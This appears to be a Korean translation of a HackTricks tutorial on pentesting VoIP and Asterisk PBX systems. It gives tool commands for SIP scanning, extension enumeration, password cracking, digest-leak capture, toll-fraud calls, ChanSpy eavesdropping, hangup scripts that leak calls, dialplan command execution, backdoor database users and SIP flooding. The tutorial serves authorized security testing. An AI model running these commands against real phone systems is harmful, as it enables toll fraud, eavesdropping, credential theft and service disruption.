38 KiB
Pentesting VoIP
{% hint style="success" %}
Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Support HackTricks
- Check the subscription plans!
- Join the 💬 Discord group or the telegram group or follow us on Twitter 🐦 @hacktricks_live.
- Share hacking tricks by submitting PRs to the HackTricks and HackTricks Cloud github repos.
VoIP 기본 정보
VoIP 작동 방식에 대해 배우려면 다음을 확인하세요:
{% content-ref url="basic-voip-protocols/" %} basic-voip-protocols {% endcontent-ref %}
기본 메시지
Request name Description RFC references
------------------------------------------------------------------------------------------------------
REGISTER Register a SIP user. RFC 3261
INVITE Initiate a dialog for establishing a call. RFC 3261
ACK Confirm that an entity has received. RFC 3261
BYE Signal termination of a dialog and end a call. RFC 3261
CANCEL Cancel any pending request. RFC 3261
UPDATE Modify the state of a session without changing the state of the dialog. RFC 3311
REFER Ask recipient to issue a request for the purpose of call transfer. RFC 3515
PRACK Provisional acknowledgement. RFC 3262
SUBSCRIBE Initiates a subscription for notification of events from a notifier. RFC 6665
NOTIFY Inform a subscriber of notifications of a new event. RFC 6665
PUBLISH Publish an event to a notification server. RFC 3903
MESSAGE Deliver a text message. Used in instant messaging applications. RFC 3428
INFO Send mid-session information that does not modify the session state. RFC 6086
OPTIONS Query the capabilities of an endpoint RFC 3261
Response Codes
1xx—임시 응답
100 Trying
180 Ringing
181 Call is Being Forwarded
182 Queued
183 Session Progress
199 Early Dialog Terminated
2xx—성공적인 응답
200 OK
202 Accepted
204 No Notification
3xx—리디렉션 응답
300 Multiple Choices
301 Moved Permanently
302 Moved Temporarily
305 Use Proxy
380 Alternative Service
4xx—클라이언트 실패 응답
400 Bad Request
401 Unauthorized
402 Payment Required
403 Forbidden
404 Not Found
405 Method Not Allowed
406 Not Acceptable
407 Proxy Authentication Required
408 Request Timeout
409 Conflict
410 Gone
411 Length Required
412 Conditional Request Failed
413 Request Entity Too Large
414 Request-URI Too Long
415 Unsupported Media Type
416 Unsupported URI Scheme
417 Unknown Resource-Priority
420 Bad Extension
421 Extension Required
422 Session Interval Too Small
423 Interval Too Brief
424 Bad Location Information
425 Bad Alert Message
428 Use Identity Header
429 Provide Referrer Identity
430 Flow Failed
433 Anonymity Disallowed
436 Bad Identity-Info
437 Unsupported Certificate
438 Invalid Identity Header
439 First Hop Lacks Outbound Support
440 Max-Breadth Exceeded
469 Bad Info Package
470 Consent Needed
480 Temporarily Unavailable
481 Call/Transaction Does Not Exist
482 Loop Detected
483 Too Many Hops
484 Address Incomplete
485 Ambiguous
486 Busy Here
487 Request Terminated
488 Not Acceptable Here
489 Bad Event
491 Request Pending
493 Undecipherable
494 Security Agreement Required
5xx—서버 실패 응답
500 Internal Server Error
501 Not Implemented
502 Bad Gateway
503 Service Unavailable
504 Server Time-out
505 Version Not Supported
513 Message Too Large
555 Push Notification Service Not Supported
580 Precondition Failure
6xx—전역 실패 응답
600 Busy Everywhere
603 Decline
604 Does Not Exist Anywhere
606 Not Acceptable
607 Unwanted
608 Rejected
VoIP Enumeration
Telephone Numbers
Red Team이 할 수 있는 첫 번째 단계 중 하나는 OSINT 도구, Google 검색 또는 웹 페이지 스크래핑을 사용하여 회사에 연락할 수 있는 전화번호를 검색하는 것입니다.
전화번호를 확보한 후에는 온라인 서비스를 사용하여 운영자를 식별할 수 있습니다:
- https://www.numberingplans.com/?page=analysis&sub=phonenr
- https://mobilenumbertracker.com/
- https://www.whitepages.com/
- https://www.twilio.com/lookup
운영자가 VoIP 서비스를 제공하는지 아는 것은 회사가 VoIP를 사용하고 있는지 식별하는 데 도움이 됩니다... 게다가, 회사가 VoIP 서비스를 계약하지 않았지만 PSTN 카드를 사용하여 자체 VoIP PBX를 전통적인 전화 네트워크에 연결하고 있을 가능성도 있습니다.
음악의 자동 응답과 같은 것들은 일반적으로 VoIP가 사용되고 있음을 나타냅니다.
Google Dorks
# Grandstream phones
intitle:"Grandstream Device Configuration" Password
intitle:"Grandstream Device Configuration" (intext:password & intext:"Grandstream Device Configuration" & intext:"Grandstream Networks" | inurl:cgi-bin) -.com|org
# Cisco Callmanager
inurl:"ccmuser/logon.asp"
intitle:"Cisco CallManager User Options Log On" "Please enter your User ID and Password in the spaces provided below and click the Log On button"
# Cisco phones
inurl:"NetworkConfiguration" cisco
# Linksys phones
intitle:"Sipura SPA Configuration"
# Snom phones
intitle:"snom" intext:"Welcome to Your Phone!" inurl:line_login.htm
# Polycom SoundPoint IP & phones
intitle:"SoundPoint IP Configuration Utility - Registration"
"Welcome to Polycom Web Configuration Utility" "Login as" "Password"
intext: "Welcome to Polycom Web Configuration Utility" intitle:"Polycom - Configuration Utility" inurl:"coreConf.htm"
intitle:"Polycom Login" inurl:"/login.html"
intitle:"Polycom Login" -.com
# Elastix
intitle:"Elastix - Login page" intext:"Elastix is licensed under GPL"
# FreePBX
inurl:"maint/index.php?FreePBX" intitle: "FreePBX" intext:"FreePBX Admministration"
OSINT 정보
VoIP 소프트웨어를 식별하는 데 도움이 되는 다른 OSINT 열거는 Red Team에 유용할 것입니다.
네트워크 열거
- **
nmap
**은 UDP 서비스를 스캔할 수 있지만, 스캔되는 UDP 서비스의 수 때문에 매우 느리고 이러한 종류의 서비스에 대해 정확하지 않을 수 있습니다.
sudo nmap --script=sip-methods -sU -p 5060 10.10.0.0/24
svmap
from SIPVicious (sudo apt install sipvicious
): 지정된 네트워크에서 SIP 서비스를 찾습니다.svmap
은 User-Agentfriendly-scanner
를 사용하기 때문에 차단하기 쉽습니다, 하지만/usr/share/sipvicious/sipvicious
의 코드를 수정하여 변경할 수 있습니다.
# Use --fp to fingerprint the services
svmap 10.10.0.0/24 -p 5060-5070 [--fp]
SIPPTS 스캔
from sippts: SIPPTS 스캔은 UDP, TCP 또는 TLS를 통한 SIP 서비스에 대한 매우 빠른 스캐너입니다. 멀티스레드를 사용하며 대규모 네트워크 범위를 스캔할 수 있습니다. 포트 범위를 쉽게 지정하고, TCP와 UDP를 모두 스캔하며, 다른 방법을 사용할 수 있고(기본적으로 OPTIONS를 사용), 다른 User-Agent를 지정할 수 있습니다(기타 등등).
sippts scan -i 10.10.0.0/24 -p all -r 5060-5080 -th 200 -ua Cisco [-m REGISTER]
[!] IP/Network: 10.10.0.0/24
[!] Port range: 5060-5080
[!] Protocol: UDP, TCP, TLS
[!] Method to scan: REGISTER
[!] Customized User-Agent: Cisco
[!] Used threads: 200
- metasploit:
auxiliary/scanner/sip/options_tcp normal No SIP Endpoint Scanner (TCP)
auxiliary/scanner/sip/options normal No SIP Endpoint Scanner (UDP)
Extra Network Enumeration
PBX는 다음과 같은 다른 네트워크 서비스를 노출할 수 있습니다:
- 69/UDP (TFTP): 펌웨어 업데이트
- 80 (HTTP) / 443 (HTTPS): 웹에서 장치를 관리하기 위해
- 389 (LDAP): 사용자 정보를 저장하는 대안
- 3306 (MySQL): MySQL 데이터베이스
- 5038 (Manager): 다른 플랫폼에서 Asterisk를 사용할 수 있게 함
- 5222 (XMPP): Jabber를 사용한 메시지
- 5432 (PostgreSQL): PostgreSQL 데이터베이스
- 기타...
Methods Enumeration
PBX에서 사용할 수 있는 메서드를 찾는 것은 SIPPTS enumerate
를 사용하여 가능합니다 sippts
sippts enumerate -i 10.10.0.10
서버 응답 분석
서버가 우리에게 보내는 헤더를 분석하는 것은 매우 중요합니다. 이는 우리가 보내는 메시지와 헤더의 유형에 따라 달라집니다. sippts의 SIPPTS send
를 사용하면 모든 헤더를 조작하여 개인화된 메시지를 보낼 수 있으며, 응답을 분석할 수 있습니다.
sippts send -i 10.10.0.10 -m INVITE -ua Grandstream -fu 200 -fn Bob -fd 11.0.0.1 -tu 201 -fn Alice -td 11.0.0.2 -header "Allow-Events: presence" -sdp
서버가 웹소켓을 사용하는 경우 데이터에 접근하는 것도 가능합니다. sippts의 SIPPTS wssend
를 사용하여 개인화된 WS 메시지를 보낼 수 있습니다.
sippts wssend -i 10.10.0.10 -r 443 -path /ws
Extension Enumeration
PBX(Private Branch Exchange) 시스템에서 확장은 조직이나 비즈니스 내의 개별 전화선, 장치 또는 사용자에게 할당된 고유한 내부 식별자를 의미합니다. 확장은 조직 내에서 전화를 효율적으로 라우팅할 수 있게 하여 각 사용자나 장치에 대한 개별 외부 전화번호가 필요하지 않습니다.
svwar
from SIPVicious (sudo apt install sipvicious
):svwar
는 무료 SIP PBX 확장선 스캐너입니다. 개념적으로 전통적인 워드다이얼러와 유사하게 확장 범위 또는 주어진 확장 목록을 추측하여 작동합니다.
svwar 10.10.0.10 -p5060 -e100-300 -m REGISTER
SIPPTS exten
from sippts: SIPPTS exten은 SIP 서버에서 확장을 식별합니다. Sipexten은 대규모 네트워크 및 포트 범위를 확인할 수 있습니다.
sippts exten -i 10.10.0.10 -r 5060 -e 100-200
- metasploit: metasploit을 사용하여 확장/사용자 이름을 열거할 수도 있습니다:
auxiliary/scanner/sip/enumerator_tcp normal No SIP Username Enumerator (TCP)
auxiliary/scanner/sip/enumerator normal No SIP Username Enumerator (UDP)
enumiax
(apt install enumiax
): enumIAX는 Inter Asterisk Exchange 프로토콜 사용자 이름 무차별 대입 열거기입니다. enumIAX는 두 가지 모드에서 작동할 수 있습니다; 순차적 사용자 이름 추측 또는 사전 공격.
enumiax -d /usr/share/wordlists/metasploit/unix_users.txt 10.10.0.10 # Use dictionary
enumiax -v -m3 -M3 10.10.0.10
VoIP 공격
비밀번호 무차별 대입 - 온라인
PBX와 일부 확장/사용자 이름을 발견한 후, Red Team은 일반 비밀번호 사전을 사용하여 인증을 무차별 대입하기 위해 REGISTER
방법을 통해 확장에 인증을 시도할 수 있습니다.
{% hint style="danger" %} 사용자 이름이 확장과 동일할 수 있지만, 이 관행은 PBX 시스템, 구성 및 조직의 선호도에 따라 다를 수 있습니다...
사용자 이름이 확장과 동일하지 않은 경우, 무차별 대입을 위해 사용자 이름을 알아내야 합니다. {% endhint %}
svcrack
from SIPVicious (sudo apt install sipvicious
): SVCrack은 PBX에서 특정 사용자 이름/확장의 비밀번호를 해독할 수 있게 해줍니다.
svcrack -u100 -d dictionary.txt udp://10.0.0.1:5080 #Crack known username
svcrack -u100 -r1-9999 -z4 10.0.0.1 #Check username in extensions
SIPPTS rcrack
from sippts: SIPPTS rcrack은 SIP 서비스용 원격 비밀번호 크래커입니다. Rcrack은 여러 사용자에 대해 다양한 IP 및 포트 범위에서 비밀번호를 테스트할 수 있습니다.
sippts rcrack -i 10.10.0.10 -e 100,101,103-105 -w wordlist/rockyou.txt
- Metasploit:
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack.rb
- https://github.com/jesusprubio/metasploit-sip/blob/master/sipcrack_tcp.rb
VoIP 스니핑
Open Wifi 네트워크 내에서 VoIP 장비를 발견하면 모든 정보를 스니핑할 수 있습니다. 또한, 더 폐쇄된 네트워크(이더넷 또는 보호된 Wifi를 통해 연결된 경우) 내에서는 PBX와 게이트웨이 간에 MitM 공격인 ARPspoofing을 수행하여 정보를 스니핑할 수 있습니다.
네트워크 정보 중에는 장비를 관리하기 위한 웹 자격 증명, 사용자 내선, 사용자 이름, IP 주소, 심지어 해시된 비밀번호와 RTP 패킷이 포함되어 있어 대화를 들을 수 있습니다.
이 정보를 얻기 위해 Wireshark, tcpdump와 같은 도구를 사용할 수 있지만, VoIP 대화를 스니핑하기 위해 특별히 제작된 도구는 ucsniff입니다.
{% hint style="danger" %}
SIP 통신에 TLS가 사용되는 경우 SIP 통신을 명확하게 볼 수 없습니다.
SRTP 및 ZRTP가 사용되는 경우에도 RTP 패킷은 평문이 아닙니다.
{% endhint %}
SIP 자격 증명 (비밀번호 브루트포스 - 오프라인)
SIP REGISTER 통신을 더 잘 이해하기 위한 이 예제를 확인하세요 자격 증명이 어떻게 전송되는지 배우기 위해.
sipdump
&sipcrack
, sipcrack의 일부(apt-get install sipcrack
): 이 도구들은 pcap에서 SIP 프로토콜 내의 다이제스트 인증을 추출하고 브루트포스할 수 있습니다.
sipdump -p net-capture.pcap sip-creds.txt
sipcrack sip-creds.txt -w dict.txt
SIPPTS dump
from sippts: SIPPTS 덤프는 pcap 파일에서 다이제스트 인증을 추출할 수 있습니다.
sippts dump -f capture.pcap -o data.txt
SIPPTS dcrack
from sippts: SIPPTS dcrack은 SIPPTS 덤프에서 얻은 다이제스트 인증을 크랙하는 도구입니다.
sippts dcrack -f data.txt -w wordlist/rockyou.txt
SIPPTS tshark
from sippts: SIPPTS tshark는 PCAP 파일에서 SIP 프로토콜의 데이터를 추출합니다.
sippts tshark -f capture.pcap [-filter auth]
DTMF 코드
SIP 자격 증명뿐만 아니라 네트워크 트래픽에서 음성 메일에 접근하는 데 사용되는 DTMF 코드를 찾는 것도 가능합니다.
이 코드는 INFO SIP 메시지, 오디오 또는 RTP 패킷 내에서 전송할 수 있습니다. RTP 패킷 내에 코드가 있는 경우, 대화의 해당 부분을 잘라내고 multimo 도구를 사용하여 추출할 수 있습니다:
multimon -a DTMF -t wac pin.wav
무료 통화 / Asterisks 연결 잘못 구성
Asterisk에서는 특정 IP 주소에서의 연결 또는 모든 IP 주소에서의 연결을 허용할 수 있습니다:
host=10.10.10.10
host=dynamic
If an IP address is specified, the host REGISTER 요청을 주기적으로 보낼 필요가 없습니다 (REGISTER 패킷에는 일반적으로 30분인 생존 시간이 포함되어 있어, 다른 시나리오에서는 전화가 30분마다 REGISTER를 해야 합니다). 그러나 VoIP 서버에서 전화를 받을 수 있도록 연결을 허용하는 열린 포트가 필요합니다.
사용자를 정의하려면 다음과 같이 정의할 수 있습니다:
type=user
: 사용자는 사용자로서만 전화를 받을 수 있습니다.type=friend
: 피어로 전화를 걸고 사용자로서 받을 수 있습니다 (확장과 함께 사용됨)type=peer
: 피어로 전화를 보내고 받을 수 있습니다 (SIP-trunks)
신뢰를 설정하는 것도 가능합니다:
insecure=port
: IP로 검증된 피어 연결을 허용합니다.insecure=invite
: INVITE 메시지에 대한 인증이 필요하지 않습니다.insecure=port,invite
: 둘 다
{% hint style="warning" %}
**type=friend
**가 사용될 때, host 변수의 값은 사용되지 않으므로, 관리자가 해당 값을 사용하여 SIP-trunk를 잘못 구성하면, 누구나 연결할 수 있습니다.
예를 들어, 이 구성은 취약할 것입니다:
host=10.10.10.10
insecure=port,invite
type=friend
{% endhint %}
무료 통화 / Asterisks 컨텍스트 잘못 구성
Asterisk에서 컨텍스트는 관련된 확장, 작업 및 규칙을 그룹화하는 이름이 있는 컨테이너 또는 섹션입니다. 다이얼 플랜은 Asterisk 시스템의 핵심 구성 요소로, 수신 및 발신 전화를 처리하고 라우팅하는 방법을 정의합니다. 컨텍스트는 다이얼 플랜을 구성하고, 접근 제어를 관리하며, 시스템의 서로 다른 부분 간의 분리를 제공합니다.
각 컨텍스트는 구성 파일, 일반적으로 extensions.conf
파일에 정의됩니다. 컨텍스트는 대괄호로 표시되며, 그 안에 컨텍스트 이름이 포함됩니다. 예:
csharpCopy code[my_context]
내부 컨텍스트에서, 당신은 확장(다이얼된 번호의 패턴)을 정의하고 이를 일련의 동작이나 애플리케이션과 연관시킵니다. 이러한 동작은 통화가 처리되는 방식을 결정합니다. 예를 들어:
[my_context]
exten => 100,1,Answer()
exten => 100,n,Playback(welcome)
exten => 100,n,Hangup()
이 예제는 "my_context"라는 간단한 컨텍스트와 "100"이라는 확장을 보여줍니다. 누군가 100을 다이얼하면, 통화가 연결되고 환영 메시지가 재생된 후 통화가 종료됩니다.
이것은 다른 컨텍스트로, 다른 번호로 전화를 걸 수 있게 합니다:
[external]
exten => _X.,1,Dial(SIP/trunk/${EXTEN})
관리자가 기본 컨텍스트를 다음과 같이 정의하면:
[default]
include => my_context
include => external
{% hint style="warning" %} 누구나 서버를 사용하여 다른 번호로 전화를 걸 수 있습니다 (서버의 관리자가 전화를 비용을 지불합니다). {% endhint %}
{% hint style="danger" %}
게다가 기본적으로 sip.conf
파일에는 **allowguest=true
**가 포함되어 있으므로 인증 없이 어떤 공격자도 다른 번호로 전화를 걸 수 있습니다.
{% endhint %}
SIPPTS invite
from sippts: SIPPTS invite는 PBX 서버가 인증 없이 전화를 걸 수 있도록 허용하는지 확인합니다. SIP 서버의 구성이 잘못된 경우 외부 번호로 전화를 걸 수 있도록 허용합니다. 또한 전화를 두 번째 외부 번호로 전송할 수 있도록 허용할 수 있습니다.
예를 들어, Asterisk 서버에 잘못된 컨텍스트 구성이 있는 경우, 인증 없이 INVITE 요청을 수락할 수 있습니다. 이 경우 공격자는 사용자/비밀번호를 알지 못하고도 전화를 걸 수 있습니다.
{% code overflow="wrap" %}
# Trying to make a call to the number 555555555 (without auth) with source number 200.
sippts invite -i 10.10.0.10 -fu 200 -tu 555555555 -v
# Trying to make a call to the number 555555555 (without auth) and transfer it to number 444444444.
sippts invite -i 10.10.0.10 -tu 555555555 -t 444444444
{% endcode %}
무료 통화 / 잘못 구성된 IVRS
IVRS는 인터랙티브 음성 응답 시스템을 의미하며, 사용자가 음성 또는 터치톤 입력을 통해 컴퓨터화된 시스템과 상호작용할 수 있도록 하는 전화 기술입니다. IVRS는 정보를 제공하고, 전화를 라우팅하며, 사용자 입력을 캡처하는 등 다양한 기능을 제공하는 자동화된 통화 처리 시스템을 구축하는 데 사용됩니다.
VoIP 시스템의 IVRS는 일반적으로 다음으로 구성됩니다:
- 음성 프롬프트: 사용자에게 IVR 메뉴 옵션 및 지침을 안내하는 미리 녹음된 오디오 메시지입니다.
- DTMF (듀얼 톤 다중 주파수) 신호: 전화 키를 눌러 생성된 터치톤 입력으로, IVR 메뉴를 탐색하고 입력을 제공하는 데 사용됩니다.
- 통화 라우팅: 사용자 입력에 따라 특정 부서, 상담원 또는 내선으로 전화를 적절한 목적지로 안내합니다.
- 사용자 입력 캡처: 계좌 번호, 사건 ID 또는 기타 관련 데이터를 포함하여 발신자로부터 정보를 수집합니다.
- 외부 시스템과의 통합: IVR 시스템을 데이터베이스 또는 기타 소프트웨어 시스템에 연결하여 정보를 액세스하거나 업데이트하고, 작업을 수행하거나 이벤트를 트리거합니다.
Asterisk VoIP 시스템에서는 다이얼 플랜 (extensions.conf
파일)과 Background()
, Playback()
, Read()
등 다양한 애플리케이션을 사용하여 IVR을 생성할 수 있습니다. 이러한 애플리케이션은 음성 프롬프트를 재생하고, 사용자 입력을 캡처하며, 통화 흐름을 제어하는 데 도움을 줍니다.
취약한 구성의 예
exten => 0,100,Read(numbers,the_call,,,,5)
exten => 0,101,GotoIf("$[${numbers}"="1"]?200)
exten => 0,102,GotoIf("$[${numbers}"="2"]?300)
exten => 0,103,GotoIf("$[${numbers}"=""]?100)
exten => 0,104,Dial(LOCAL/${numbers})
이전은 사용자가 부서를 호출하기 위해 1을 누르거나, 다른 부서를 호출하기 위해 2를 누르거나, 알고 있는 전체 내선 번호를 입력하라는 예입니다.
취약점은 지정된 내선 길이가 확인되지 않기 때문에 사용자가 5초 타임아웃을 입력하여 전체 번호를 입력할 수 있고, 호출될 수 있다는 사실입니다.
Extension Injection
다음과 같은 내선을 사용하여:
exten => _X.,1,Dial(SIP/${EXTEN})
Where **${EXTEN}
**는 호출될 내선이며, ext 101이 도입되면 다음과 같은 일이 발생합니다:
exten => 101,1,Dial(SIP/101)
그러나 **${EXTEN}
**이 숫자 이상을 입력할 수 있게 허용한다면(구버전 Asterisk와 같이), 공격자는 **101&SIP123123123
**을 입력하여 전화번호 123123123으로 전화를 걸 수 있습니다. 그리고 이것이 결과입니다:
exten => 101&SIP123123123,1,Dial(SIP/101&SIP123123123)
따라서 101
및 **123123123
**으로의 호출이 전송되며, 첫 번째 호출만 연결됩니다... 그러나 공격자가 일치하는 항목을 우회하는 확장을 사용하지만 존재하지 않는 경우, 그는 원하는 번호로만 전화를 주입할 수 있습니다.
SIPDigestLeak 취약점
SIP Digest Leak는 하드웨어 및 소프트웨어 IP 전화와 전화 어댑터(VoIP에서 아날로그로) 등 많은 SIP 전화에 영향을 미치는 취약점입니다. 이 취약점은 비밀번호로부터 계산된 Digest 인증 응답의 유출을 허용합니다. 오프라인 비밀번호 공격이 가능해지며 도전 응답을 기반으로 대부분의 비밀번호를 복구할 수 있습니다.
- IP 전화(피해자)는 모든 포트(예: 5060)에서 전화를 수신하고 있습니다.
- 공격자가 IP 전화에 INVITE를 보냅니다.
- 피해자 전화가 울리기 시작하고 누군가 전화를 받고 끊습니다(상대방이 전화를 받지 않기 때문에).
- 전화가 끊어지면 피해자 전화가 공격자에게 BYE를 보냅니다.
- 공격자가 407 응답을 발행하여 인증을 요청하고 인증 도전을 발행합니다.
- 피해자 전화가 두 번째 BYE에서 인증 도전에 대한 응답을 제공합니다.
- 공격자는 자신의 로컬 머신(또는 분산 네트워크 등)에서 도전 응답에 대한 무차별 대입 공격을 수행할 수 있으며 비밀번호를 추측할 수 있습니다.
- SIPPTS 유출은 sippts에서: SIPPTS 유출은 많은 SIP 전화에 영향을 미치는 SIP Digest Leak 취약점을 악용합니다. 출력은 SipCrack 형식으로 저장되어 SIPPTS dcrack 또는 SipCrack 도구를 사용하여 무차별 대입 공격을 수행할 수 있습니다.
sippts leak -i 10.10.0.10
[!] Target: 10.10.0.10:5060/UDP
[!] Caller: 100
[!] Callee: 100
[=>] Request INVITE
[<=] Response 100 Trying
[<=] Response 180 Ringing
[<=] Response 200 OK
[=>] Request ACK
... waiting for BYE ...
[<=] Received BYE
[=>] Request 407 Proxy Authentication Required
[<=] Received BYE with digest
[=>] Request 200 Ok
Auth=Digest username="pepelux", realm="asterisk", nonce="lcwnqoz0", uri="sip:100@10.10.0.10:56583;transport=UDP", response="31fece0d4ff6fd524c1d4c9482e99bb2", algorithm=MD5
Click2Call
Click2Call은 웹 사용자가 (예를 들어, 제품에 관심이 있을 수 있는) 전화번호를 제공하여 전화를 받을 수 있도록 합니다. 그러면 상업적인 전화가 걸리고, 사용자가 전화를 받으면 사용자와 상담원이 연결됩니다.
이와 관련된 일반적인 Asterisk 프로필은:
[web_user]
secret = complex_password
deny = 0.0.0.0/0.0.0.0
allow = 0.0.0.0/0.0.0.0
displayconnects = yes
read = system,call,log,verbose,agent,user,config,dtmf,reporting,crd,diapla
write = system,call,agent,user,config,command,reporting,originate
- 이전 프로필은 모든 IP 주소가 연결할 수 있도록 허용하고 있습니다 (비밀번호가 알려진 경우).
- 전화를 조직하기 위해, 이전에 명시된 대로, 읽기 권한이 필요하지 않으며 오직 쓰기에서 발신만 필요합니다.
이러한 권한으로 비밀번호를 아는 모든 IP가 연결하여 너무 많은 정보를 추출할 수 있습니다, 예를 들어:
{% code overflow="wrap" %}
# Get all the peers
exec 3<>/dev/tcp/10.10.10.10/5038 && echo -e "Action: Login\nUsername:test\nSecret:password\nEvents: off\n\nAction:Command\nCommand: sip show peers\n\nAction: logoff\n\n">&3 && cat <&3
{% endcode %}
추가 정보나 조치를 요청할 수 있습니다.
도청
Asterisk에서는 ChanSpy
명령어를 사용하여 모니터링할 내선(또는 모든 내선)을 지정하여 진행 중인 대화를 들을 수 있습니다. 이 명령어는 내선에 할당되어야 합니다.
예를 들어, exten => 333,1,ChanSpy('all',qb)
는 내선 333으로 전화를 걸면 모든 내선을 모니터링하고, 새로운 대화가 시작될 때마다 (b
) 조용한 모드(q
)로 듣기 시작함을 나타냅니다. 우리는 이에 상호작용하고 싶지 않기 때문입니다. ***
**를 눌러서 또는 내선 번호를 입력하여 진행 중인 대화에서 다른 대화로 이동할 수 있습니다.
하나의 내선만 모니터링하려면 **ExtenSpy
**를 사용할 수도 있습니다.
대화를 듣는 대신, 다음과 같은 내선을 사용하여 파일에 기록할 수 있습니다:
{% code overflow="wrap" %}
[recorded-context]
exten => _X.,1,Set(NAME=/tmp/${CONTEXT}_${EXTEN}_${CALLERID(num)}_${UNIQUEID}.wav)
exten => _X.,2,MixMonitor(${NAME})
{% endcode %}
통화는 **/tmp
**에 저장됩니다.
Asterisk가 통화가 종료될 때 통화를 유출하는 스크립트를 실행하도록 할 수도 있습니다.
exten => h,1,System(/tmp/leak_conv.sh &)
RTCPBleed 취약점
RTCPBleed는 Asterisk 기반 VoIP 서버에 영향을 미치는 주요 보안 문제입니다(2017년에 발표됨). 이 취약점은 VoIP 대화를 전달하는 RTP(실시간 프로토콜) 트래픽이 인터넷의 누구나 가로채고 리디렉션할 수 있도록 허용합니다. 이는 RTP 트래픽이 NAT(네트워크 주소 변환) 방화벽을 통과할 때 인증을 우회하기 때문에 발생합니다.
RTP 프록시는 두 개 이상의 당사자 간의 RTP 스트림을 프록시하여 RTC 시스템에 영향을 미치는 NAT 제한을 해결하려고 합니다. NAT가 있는 경우, RTP 프록시 소프트웨어는 종종 신호를 통해 검색된 RTP IP 및 포트 정보를 신뢰할 수 없습니다(예: SIP). 따라서 여러 RTP 프록시는 이러한 IP 및 포트 튜플을 자동으로 학습하는 메커니즘을 구현했습니다. 이는 종종 들어오는 RTP 트래픽을 검사하고 들어오는 RTP 트래픽의 출발지 IP 및 포트를 응답해야 할 것으로 표시하는 방식으로 수행됩니다. 이 메커니즘은 "학습 모드"라고 불릴 수 있으며, 어떠한 종류의 인증도 사용하지 않습니다. 따라서 공격자는 RTP 프록시로 RTP 트래픽을 전송하고 진행 중인 RTP 스트림의 발신자 또는 수신자를 위해 의도된 프록시 RTP 트래픽을 받을 수 있습니다. 우리는 이 취약점을 RTP Bleed라고 부르며, 이는 공격자가 합법적인 사용자에게 전송될 RTP 미디어 스트림을 받을 수 있게 합니다.
RTP 프록시와 RTP 스택의 또 다른 흥미로운 동작은 때때로 RTP Bleed에 취약하지 않더라도 모든 출처의 RTP 패킷을 수락하고 전달 및/또는 처리한다는 것입니다. 따라서 공격자는 합법적인 미디어 대신 자신의 미디어를 주입할 수 있는 RTP 패킷을 보낼 수 있습니다. 우리는 이 공격을 RTP 주입이라고 부르며, 이는 기존 RTP 스트림에 불법적인 RTP 패킷을 주입할 수 있게 합니다. 이 취약점은 RTP 프록시와 엔드포인트 모두에서 발견될 수 있습니다.
Asterisk와 FreePBX는 전통적으로 NAT=yes
설정을 사용하여 RTP 트래픽이 인증을 우회하도록 하여, 통화에서 오디오가 없거나 일방향 오디오가 발생할 수 있습니다.
자세한 정보는 https://www.rtpbleed.com/를 확인하세요.
SIPPTS rtpbleed
from sippts: SIPPTS rtpbleed는 RTP 스트림을 전송하여 RTP Bleed 취약점을 감지합니다.
sippts rtpbleed -i 10.10.0.10
SIPPTS rtcpbleed
from sippts: SIPPTS rtcpbleed는 RTCP 스트림을 전송하여 RTP Bleed 취약점을 감지합니다.
sippts rtcpbleed -i 10.10.0.10
SIPPTS rtpbleedflood
from sippts: SIPPTS rtpbleedflood는 RTP 스트림을 전송하여 RTP Bleed 취약점을 악용합니다.
sippts rtpbleedflood -i 10.10.0.10 -p 10070 -v
SIPPTS rtpbleedinject
from sippts: SIPPTS rtpbleedinject는 오디오 파일(WAV 형식)을 주입하여 RTP Bleed 취약점을 악용합니다.
sippts rtpbleedinject -i 10.10.0.10 -p 10070 -f audio.wav
RCE
Asterisk에서 어떻게든 확장 규칙을 추가하고 이를 다시 로드할 수 있다면(예: 취약한 웹 관리자 서버를 타겟으로 하여), System
명령을 사용하여 RCE를 얻을 수 있습니다.
same => n,System(echo "Called at $(date)" >> /tmp/call_log.txt)
There is command called Shell
that could be used instead of System
to execute system commands if necessary.
{% hint style="warning" %}
서버가 System
명령에서 특정 문자의 사용을 금지하고 있는 경우(예: Elastix), 웹 서버가 시스템 내에서 파일을 생성할 수 있는지 확인하고(예: Elastix 또는 trixbox), 이를 사용하여 백도어 스크립트를 생성한 다음 **System
**을 사용하여 해당 스크립트를 실행하십시오.
{% endhint %}
흥미로운 로컬 파일 및 권한
sip.conf
-> SIP 사용자 비밀번호를 포함합니다.- Asterisk 서버가 root로 실행되고 있는 경우, root를 손상시킬 수 있습니다.
- mysql root 사용자는 비밀번호가 없을 수 있습니다.
- 이를 사용하여 백도어로 새로운 mysql 사용자를 생성할 수 있습니다.
FreePBX
amportal.conf
-> 웹 패널 관리자(FreePBX)의 비밀번호를 포함합니다.FreePBX.conf
-> 데이터베이스에 접근하는 데 사용되는 FreePBXuser의 비밀번호를 포함합니다.- 이를 사용하여 백도어로 새로운 mysql 사용자를 생성할 수 있습니다.
Elastix
Elastix.conf
-> mysql root 비밀번호, IMAPd 비밀번호, 웹 관리자 비밀번호와 같은 여러 비밀번호를 평문으로 포함합니다.- 여러 폴더는 손상된 asterisk 사용자에게 속합니다(루트로 실행되지 않는 경우). 이 사용자는 이전 파일을 읽을 수 있으며 구성도 제어하므로 Asterisk가 실행될 때 다른 백도어가 있는 바이너리를 로드하도록 만들 수 있습니다.
RTP 주입
rtpinsertsound
(sudo apt install rtpinsertsound
) 및 rtpmixsound
(sudo apt install rtpmixsound
)와 같은 도구를 사용하여 대화에 .wav
파일을 삽입할 수 있습니다.
또는 http://blog.pepelux.org/2011/09/13/inyectando-trafico-rtp-en-una-conversacion-voip/의 스크립트를 사용하여 대화를 스캔하고(rtpscan.pl
), 대화에 .wav
파일을 전송하며(rtpsend.pl
), 대화에 노이즈를 삽입할 수 있습니다(rtpflood.pl
).
DoS
VoIP 서버에서 DoS를 달성하기 위한 여러 방법이 있습니다.
SIPPTS flood
from sippts**: SIPPTS 플러드는 대상에게 무제한 메시지를 전송합니다.sippts flood -i 10.10.0.10 -m invite -v
SIPPTS ping
from sippts**: SIPPTS 핑은 서버 응답 시간을 확인하기 위해 SIP 핑을 보냅니다.sippts ping -i 10.10.0.10
- IAXFlooder: Asterisk에서 사용하는 DoS IAX 프로토콜
- inviteflood: UDP/IP를 통해 SIP/SDP INVITE 메시지 플러딩을 수행하는 도구입니다.
